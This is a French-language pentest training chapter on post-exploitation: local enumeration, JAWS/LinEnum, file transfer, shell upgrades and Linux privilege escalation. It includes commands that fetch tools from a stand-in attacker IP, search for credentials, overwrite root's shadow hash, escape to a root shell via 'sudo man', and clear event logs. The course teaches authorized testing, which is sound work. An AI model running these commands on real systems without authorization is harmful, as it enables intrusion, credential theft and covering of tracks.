Après l'Accès : Enquêter, Progresser, Documenter
Une fois l'accès obtenu, la mission ne fait que commencer : énumération locale détaillée, transfert de fichiers, amélioration de shell, et compléments d'escalade de privilèges Linux.
1. Énumération Locale
Système, utilisateurs, processus — manuellement et via scripts automatisés (JAWS, LinEnum).
2. Fichiers & Shells
Transférer des outils vers la cible, améliorer un shell non-interactif.
3. Privesc Linux
Permissions faibles et privilèges SUDO mal configurés.
Ce qu'il Reste à Faire Après un Accès
- Obtenir un accès n'est qu'une étape : il faut ensuite comprendre le système sur lequel on se trouve, ce qu'il permet d'atteindre, et jusqu'où on peut légitimement aller dans le cadre du mandat.
- Démarche typique : énumération locale approfondie → élévation de privilèges si nécessaire → collecte d'informations utiles (credentials, fichiers sensibles) → documentation systématique de chaque étape pour le rapport final.
Une session n'est pas l'objectif final
Après l'accès initial, le but est de comprendre la machine, les privilèges disponibles, les chemins vers d'autres ressources et les preuves utiles au rapport. Chaque action doit répondre à une question précise.
1. IdentifierQui suis-je ? Sur quelle machine ?
→
2. ÉnumérerOS, utilisateurs, processus, réseau
→
3. HypothèseQuel chemin de progression existe ?
→
4. ValiderTester le minimum nécessaire
Principe : ne lance pas immédiatement des outils de privesc. Commence par comprendre le contexte local ; cela réduit le bruit et permet de choisir un test pertinent.
Identité & privilèges
- Qui suis-je ? compte, groupes, privilèges effectifs.
- Quel niveau ? utilisateur standard, administrateur, root ou contexte de service.
- Quelles restrictions ? droits sudo, UAC, AppLocker, SELinux, etc.
Système & exposition
- Version exacte de l'OS et architecture.
- Services et processus actifs.
- Interfaces réseau, routes et connexions.
- Applications, fichiers de configuration et secrets accessibles.
Question directrice : « Qu'est-ce que cette identité peut déjà faire, et quelle information manque-t-il pour comprendre le prochain mouvement ? »
| Catégorie | Question | Exemples |
| Identité | Quel compte et quels groupes ? | whoami, id, whoami /groups |
| Système | Quelle version / architecture ? | uname -a, systeminfo |
| Processus | Que fait actuellement la machine ? | ps aux, tasklist |
| Services | Quels services tournent avec quels privilèges ? | systemctl, sc query |
| Réseau | Quelles interfaces, routes et connexions ? | ip addr, ip route, netstat |
| Fichiers | Où sont les configurations ou secrets accessibles ? | find, dir, recherches ciblées |
Interprétation : une commande isolée donne rarement une conclusion. On croise plusieurs observations avant de formuler une piste de privesc ou de mouvement latéral.
Windows
- Compte local ou domaine.
- Groupes de sécurité et privilèges Windows.
- Services exécutés sous différents comptes.
- Contexte Administrator / SYSTEM à distinguer d'un simple compte administrateur.
whoami
whoami /groups
whoami /priv
net user
net localgroup administrators
Linux
- UID/GID et groupes secondaires.
- Privilèges root et délégation via sudo.
- Permissions classiques, SUID/SGID, capabilities.
- Services et tâches planifiées exécutés par des comptes privilégiés.
id
groups
sudo -l
find / -perm -4000 -type f 2>/dev/null
Pourquoi refaire de la reconnaissance ?
Une machine compromise donne souvent une visibilité différente de celle obtenue depuis Internet ou le réseau initial. Elle peut posséder plusieurs interfaces, des routes internes ou des connexions vers des services non exposés à l'extérieur.
Linux
ip addr
ip route
ss -tulpn
ss -antp
cat /etc/resolv.conf
Windows
ipconfig /all
route print
netstat -ano
arp -a
nslookup <nom>
À rechercher : sous-réseaux supplémentaires, passerelles, DNS internes, ports locaux en écoute et connexions vers d'autres hôtes. Ces informations peuvent expliquer un chemin de pivoting.
Pourquoi les inspecter ?
- Un processus privilégié peut utiliser un fichier ou un répertoire modifiable par un utilisateur moins privilégié.
- Un service peut être mal configuré : chemin modifiable, permissions faibles, compte de service trop privilégié.
- Une tâche planifiée peut exécuter périodiquement un script accessible en écriture.
Points de contrôle
# Linux
ps aux
systemctl list-units --type=service
ls -la /etc/cron*
# Windows
tasklist /v
sc query
schtasks /query /fo LIST /v
Raisonnement : ne cherchez pas uniquement « une vulnérabilité ». Cherchez une relation de confiance incorrecte : processus privilégié + ressource modifiable par l'utilisateur.
Emplacements à examiner
- Fichiers de configuration d'applications.
- Variables d'environnement.
- Scripts de déploiement et fichiers de sauvegarde.
- Historique de commandes lorsque le mandat l'autorise.
- Clés SSH et configurations de connexion.
Recherche ciblée
# Linux — exemples prudents
env
find /home -name "*.conf" -o -name "*.bak" 2>/dev/null
grep -Rni "password\|passwd\|token" /etc 2>/dev/null
# Windows
set
dir /s /b C:\*.config 2>nul
Important : identifier un secret ne signifie pas automatiquement l'utiliser. Documenter son emplacement, son type et son impact potentiel peut suffire à démontrer la faiblesse.
ManuelComprendre le système et éviter le bruit
→
AutomatiséÉlargir rapidement la couverture
→
ValidationReprendre manuellement les pistes pertinentes
Scripts
- JAWS pour Windows.
- LinEnum pour Linux.
- Modules de collecte de Meterpreter.
Limites
- Résultats volumineux et parfois faux positifs.
- Version du script à vérifier.
- Certains contrôles de sécurité peuvent détecter leur comportement.
AttaquantServeur HTTP / autre canal
→
RéseauDNS, route, firewall, proxy
→
CibleTéléchargement local
Si le transfert échoue : vérifier d'abord l'IP d'écoute, le port, la route, le filtrage réseau et la résolution de nom. Un problème de téléchargement n'est pas forcément un problème de commande.
# Vérifier simplement que le serveur est joignable
curl -I http://@IP_attaquant/
wget -S http://@IP_attaquant/fichier
Limites d'un shell brut
- Pas de TTY/PTY réel.
- Comportement incorrect de
Ctrl+C, su, éditeurs ou programmes interactifs.
- Gestion imparfaite du terminal et de la taille des lignes.
Objectif
- Obtenir un pseudo-terminal.
- Définir
TERM et éventuellement la taille du terminal.
- Conserver une session stable et exploitable.
À retenir : « avoir une commande qui s'exécute » et « disposer d'un shell interactif utilisable » sont deux choses différentes.
UID / groupesComprendre le niveau initial
→
SUDO / SUIDIdentifier les délégations
→
Services / CronChercher les exécutions privilégiées
→
PermissionsRelier privilège et ressource modifiable
Exemple de raisonnement : si une tâche root exécute régulièrement un script dont l'utilisateur courant peut modifier le contenu, la faiblesse vient de la chaîne de permissions, pas simplement du fait que « cron existe ».
SUDO
Délégation explicite de commandes à certains utilisateurs ou groupes.
sudo -l
SUID
Un binaire peut s'exécuter avec l'identité de son propriétaire, généralement root.
find / -perm -4000 -type f 2>/dev/null
Capabilities
Des privilèges Linux peuvent être accordés finement à un exécutable sans lui donner tous les droits root.
getcap -r / 2>/dev/null
Différence : SUID agit au niveau de l'identité effective du processus ; les capabilities découpent certains privilèges de manière plus granulaire.
Points de contrôle
- Privilèges du compte et groupes.
- Services exécutés avec des comptes privilégiés.
- Permissions sur fichiers, répertoires et exécutables de services.
- Tâches planifiées.
- Applications installées et versions.
Commandes utiles
whoami /priv
whoami /groups
sc query
schtasks /query /fo LIST /v
wmic product get name,version
icacls C:\chemin\vers\fichier.exe
Approche : une piste de privesc devient intéressante lorsqu'elle combine un privilège élevé avec une faiblesse contrôlable par l'utilisateur courant.
Une machine compromise peut devenir un point d'observation
Après l'énumération réseau locale, on peut découvrir des sous-réseaux ou services qui n'étaient pas accessibles depuis la machine d'attaque. Le pivoting consiste à utiliser la machine compromise comme relais.
KaliMachine d'attaque
→
Host AMachine compromise
→
Réseau interneHôtes non exposés
Avant de pivoter : identifier les interfaces et routes de Host A. Cela permet de comprendre exactement quel réseau est accessible depuis cette position.
À consigner
- Commande ou action effectuée.
- Résultat observé.
- Compte et machine concernés.
- Impact démontré.
- Capture ou sortie pertinente.
Structure utile
Observation
↓
Preuve
↓
Condition technique
↓
Impact
↓
Recommandation
Bonne pratique : éviter de collecter inutilement des données sensibles. Une preuve minimale et reproductible est généralement plus exploitable qu'un dump massif.
Concepts
- Depuis un shell obtenu sur une cible Windows, la première étape est de comprendre précisément le système : version, correctifs installés, configuration.
Démo
# Depuis un shell (via meterpreter -> shell)
systeminfo
# Lister les correctifs (hotfix) installés
wmic qfe get Caption,Description,HotFixID,InstalledOn
# Exploration manuelle complémentaire
cd C:\Windows\System32
type eula.txt
Démo
# Depuis Meterpreter : privilèges de la session courante
getprivs
# Depuis un shell Windows
whoami /priv
query user
net user # tous les comptes locaux
net user <nom_utilisateur> # détail d'un compte
net localgroup # tous les groupes locaux
net localgroup <nom_groupe> # membres d'un groupe
Démo
# Depuis Meterpreter
ps # lister les processus
migrate <PID> # migrer vers un processus stable
# Depuis un shell
net start # services en cours d'exécution
wmic service list brief
tasklist /SVC # processus et services associés
schtasks /query /fo LIST /v # tâches planifiées (persistance potentielle)
Concepts
- JAWS (Just Another Windows Enum Script) est un script PowerShell qui automatise la collecte de nombreux indicateurs système en une seule exécution.
- Complète les modules
post/windows/gather/* déjà vus (win_privs, checkvm, enum_applications, enum_shares...).
Démo Condensée
# Depuis Meterpreter, transférer le script
cd C:\Temp
upload /PATH/jaws-enum.ps1
# Exécuter et exporter les résultats
shell
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
# Revenir à Meterpreter et récupérer le rapport
download JAWS-Enum.txt
Démo
cat /etc/issue
cat /etc/*release # distribution & version précise
uname -a # version du noyau
lscpu # informations CPU
df -h # espace disque
dpkg -l # paquets installés (systèmes Debian/Ubuntu)
Démo
groups <utilisateur>
cat /etc/passwd | grep -v /nologin # comptes avec un shell utilisable
ls /home
lastlog # dernières connexions par utilisateur
ps aux # tous les processus
top # utilisation ressources en temps réel
crontab -l # tâches planifiées de l'utilisateur courant
Concepts
- LinEnum est un script Bash qui automatise l'énumération système, réseau, utilisateurs et pistes de privesc potentielles.
- Complète les modules
post/linux/gather/* déjà vus (enum_configs, enum_network, enum_system, checkvm).
Démo Condensée
# Transférer le script depuis Kali
upload /PATH/LinEnum.sh
shell
chmod +x LinEnum.sh
./LinEnum.sh
Vers une Cible Windows
# Côté attaquant : servir le fichier
python3 -m http.server 80
# Côté cible : télécharger via certutil
certutil -urlcache -f http://@IP_attaquant/outil.exe outil.exe
Vers une Cible Linux
# Côté attaquant : servir le fichier
python3 -m http.server 80
# Côté cible : télécharger via wget
wget http://@IP_attaquant/outil.sh
Concepts
- Un shell obtenu via l'exploitation d'un service est souvent "non-interactif" — pas d'autocomplétion, de raccourcis, ni de gestion propre des commandes interactives (comme
su).
- Plusieurs langages disponibles nativement sur la cible permettent de générer un shell pleinement interactif.
Méthodes Courantes
# Méthode 1 : Python
python -c 'import pty; pty.spawn("/bin/bash")'
# Méthode 2 : Perl
perl -e 'exec "/bin/bash";'
# Méthode 3 : Ruby
ruby -e 'exec "/bin/bash"'
# Ajustements utiles une fois interactif
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
Permissions Faibles
# Rechercher les fichiers modifiables par tous
find / -not -type l -perm -o+w 2>/dev/null
# Si /etc/shadow est modifiable :
# générer un hash pour un mot de passe connu
openssl passwd -1 -salt abc motdepasse
# puis remplacer le hash du compte root dans /etc/shadow
# (à la place du "*"), puis :
su
Privilèges SUDO Mal Configurés
# Lister ce que l'utilisateur peut exécuter en sudo
sudo -l
# Exemple classique (référence : GTFOBins)
# si "sudo man ls" est autorisé :
sudo man ls
# puis, dans le pager :
!/bin/bash
# --> shell root si man est lancé via sudo
Déjà Couvert dans les Chapitres Précédents
- Persistance (services, RDP, clés SSH, cron) : voir chapitre 8.
- Dump & craquage de hash (Windows NTLM, Linux passwd/shadow) : voir chapitres 6 et 8.
- Pivoting (autoroute, proxychains, portfwd) : voir chapitres 7 et 8.
- Nettoyage des traces : sur Windows,
clearev efface les journaux d'événements (vu au chapitre 8). Sur Linux, cela impliquerait de modifier l'historique de commandes et les journaux d'authentification — une action sensible, à ne pratiquer que si le mandat l'autorise explicitement, généralement pour tester la capacité de détection du client plutôt que pour dissimuler une action non autorisée.
Checklist Pratique — Post-Exploitation
- 1. Énumération locale d'abord : système, utilisateurs, processus — avant toute tentative d'escalade.
- 2. Scripts automatisés (JAWS, LinEnum) en complément, jamais en remplacement de la compréhension manuelle.
- 3. Transfert de fichiers : un simple serveur HTTP Python suffit dans la majorité des cas, Windows comme Linux.
- 4. Toujours améliorer un shell non-interactif avant de travailler dessus longtemps.
- 5. Linux privesc : permissions faibles et sudo mal configuré sont des vecteurs aussi fréquents que les failles logicielles.
- 6. Documentation continue : chaque commande d'énumération et son résultat alimentent directement le rapport final.